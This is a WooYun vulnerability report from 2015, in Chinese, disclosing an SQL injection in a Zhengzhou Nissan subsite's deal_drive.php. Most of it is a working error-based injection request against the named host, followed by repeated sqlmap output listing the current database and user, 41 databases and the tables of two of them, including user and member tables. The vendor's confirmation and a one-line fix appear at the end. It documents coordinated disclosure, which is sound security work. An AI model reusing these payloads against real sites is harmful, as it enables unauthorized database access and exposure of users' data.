当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0155706

漏洞标题：郑州日产汽车有限公司分站一处SQL注入/多库/跨库查询

相关厂商：郑州日产汽车有限公司

漏洞作者： 路人甲

提交时间：2015-11-25 09:53

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-25： 细节已通知厂商并且等待厂商处理中
2015-11-25： 厂商已经确认，细节仅向厂商公开
2015-12-05： 细节向核心白帽子及相关领域专家公开
2015-12-15： 细节向普通白帽子公开
2015-12-25： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

详细说明：

POST /deal_drive.php?height=350;width=560&jxs=141&models=(select%201%20and%20row(1%2c1)>(select%20count(*)%2cconcat(concat(CHAR(52)%2cCHAR(67)%2cCHAR(117)%2cCHAR(117)%2cCHAR(85)%2cCHAR(118)%2cCHAR(48)%2cCHAR(69)%2cCHAR(101)%2cCHAR(49)%2cCHAR(55))%2cfloor(rand()*2))x%20from%20(select%201%20union%20select%202)a%20group%20by%20x%20limit%201)) HTTP/1.1
Content-Length: 678
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_DHCQUOJMWE
Cookie: PHPSESSID=60m4bbpb628hl25qv6b74jk275; XYRE_SID=fd7cd61e47b852fbe95445764238c3a5d8e158ac; BAIDUID=810BDA2FD024EFF09264D6AA710D29E9:FG=1
Host: anhui.zznissan.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
-------AcunetixBoundary_DHCQUOJMWE
Content-Disposition: form-data; name="brand"
1
-------AcunetixBoundary_DHCQUOJMWE
Content-Disposition: form-data; name="drive_time"
1
-------AcunetixBoundary_DHCQUOJMWE
Content-Disposition: form-data; name="JxsBh"
2000004
-------AcunetixBoundary_DHCQUOJMWE
Content-Disposition: form-data; name="models"
1
-------AcunetixBoundary_DHCQUOJMWE
Content-Disposition: form-data; name="series"
1
-------AcunetixBoundary_DHCQUOJMWE
Content-Disposition: form-data; name="tel"
555-666-0606
-------AcunetixBoundary_DHCQUOJMWE
Content-Disposition: form-data; name="uname"
ufylshmx
-------AcunetixBoundary_DHCQUOJMWE--


1.jpg


2.jpg


跨库查询


3.jpg


跨库查询


4.jpg


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: MULTIPART #1* (URI)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: http://anhui.zznissan.com.cn:80/deal_drive.php?height=350;width=560&jxs=141&models=-7513 OR 1 GROUP BY CONCAT(0x717a706b71,(SELECT (CASE WHEN (5867=5867) THEN 1 ELSE 0 END)),0x7171786a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(117),CHAR(85),CHAR(118),CHAR(48),CHAR(69),CHAR(101),CHAR(49),CHAR(55)),floor(rand()2))x from (select 1 union select 2)a group by x limit 1))
---
web application technology: Apache
back-end DBMS: MySQL 5
current database:    'zznissan_pro'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: MULTIPART #1* (URI)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: http://anhui.zznissan.com.cn:80/deal_drive.php?height=350;width=560&jxs=141&models=-7513 OR 1 GROUP BY CONCAT(0x717a706b71,(SELECT (CASE WHEN (5867=5867) THEN 1 ELSE 0 END)),0x7171786a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(117),CHAR(85),CHAR(118),CHAR(48),CHAR(69),CHAR(101),CHAR(49),CHAR(55)),floor(rand()2))x from (select 1 union select 2)a group by x limit 1))
---
web application technology: Apache
back-end DBMS: MySQL 5
current user:    'zznissan@localhost'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: MULTIPART #1* (URI)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: http://anhui.zznissan.com.cn:80/deal_drive.php?height=350;width=560&jxs=141&models=-7513 OR 1 GROUP BY CONCAT(0x717a706b71,(SELECT (CASE WHEN (5867=5867) THEN 1 ELSE 0 END)),0x7171786a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(117),CHAR(85),CHAR(118),CHAR(48),CHAR(69),CHAR(101),CHAR(49),CHAR(55)),floor(rand()2))x from (select 1 union select 2)a group by x limit 1))
---
web application technology: Apache
back-end DBMS: MySQL 5
available databases [41]:
[*] club_15
[*] ebuy
[*] ebuy1217
[*] events
[*] events_2014cgr
[*] events_2014five
[*] events_pickupStory
[*] ezznissan
[*] information_schema
[*] innodb
[*] jinzhiwen
[*] maintain
[*] mysql
[*] nissan
[*] nissan_2015cgr
[*] nissan_jxs
[*] nissan_patrol
[*] nissanmedia
[*] nissantest
[*] paladin
[*] paladinclub
[*] paladinclubtemp
[*] palaqi
[*] performance_schema
[*] specialcar
[*] test
[*] topic
[*] tower_15
[*] wqw_five
[*] wqw_mx6gc
[*] wqw_succk
[*] xuhui
[*] yaguan
[*] zznissan
[*] zznissan_eng
[*] zznissan_jnds
[*] zznissan_lms2015
[*] zznissan_mx6sj2015
[*] zznissan_mx6tg2015
[*] zznissan_pro
[*] zznissanbak
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: MULTIPART #1* (URI)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: http://anhui.zznissan.com.cn:80/deal_drive.php?height=350;width=560&jxs=141&models=-7513 OR 1 GROUP BY CONCAT(0x717a706b71,(SELECT (CASE WHEN (5867=5867) THEN 1 ELSE 0 END)),0x7171786a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(117),CHAR(85),CHAR(118),CHAR(48),CHAR(69),CHAR(101),CHAR(49),CHAR(55)),floor(rand()2))x from (select 1 union select 2)a group by x limit 1))
---
web application technology: Apache
back-end DBMS: MySQL 5
Database: jinzhiwen
[18 tables]
+---------------+
| user          |
| article       |
| carinfo       |
| category      |
| dc_info       |
| dc_list       |
| dc_result     |
| dc_user       |
| department    |
| imagefile     |
| imgcategory   |
| login_record  |
| sessions      |
| topic         |
| userfun       |
| usergroup     |
| videocategory |
| videofile     |
+---------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: MULTIPART #1* (URI)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: http://anhui.zznissan.com.cn:80/deal_drive.php?height=350;width=560&jxs=141&models=-7513 OR 1 GROUP BY CONCAT(0x717a706b71,(SELECT (CASE WHEN (5867=5867) THEN 1 ELSE 0 END)),0x7171786a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(117),CHAR(85),CHAR(118),CHAR(48),CHAR(69),CHAR(101),CHAR(49),CHAR(55)),floor(rand()2))x from (select 1 union select 2)a group by x limit 1))
---
web application technology: Apache
back-end DBMS: MySQL 5
Database: ezznissan
[52 tables]
+------------------+
| user             |
| app_mainimg      |
| article          |
| car_adimg        |
| car_brand        |
| car_carimg       |
| car_config       |
| car_detail       |
| car_drive        |
| car_getinfo      |
| car_models       |
| car_modelsinfo   |
| car_norms        |
| car_parameter    |
| car_series       |
| car_seriesinfo   |
| car_standard     |
| car_structure    |
| car_view         |
| carinfo          |
| category         |
| dc_info          |
| dc_list          |
| dc_result        |
| dc_user          |
| department       |
| fankui           |
| help_fankuiyj    |
| hk_article       |
| hk_class         |
| huikan           |
| imagefile        |
| imgcategory      |
| lmsj             |
| lmsjcx_article   |
| lmsjtopic        |
| lmsjtu           |
| login_record     |
| memawoke_mission |
| memawoke_record  |
| memberinfo       |
| memberinfo_t     |
| membermark       |
| membermodify     |
| memberpay        |
| memlogin_record  |
| rencai           |
| sessions         |
| topic            |
| userfun          |
| usergroup        |
| zhaopin          |
+------------------+

漏洞证明：

修复方案：

过滤相关参数

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-11-25 11:27

厂商回复：

漏洞已确认，谢谢关注

最新状态：

暂无

漏洞评价：

评价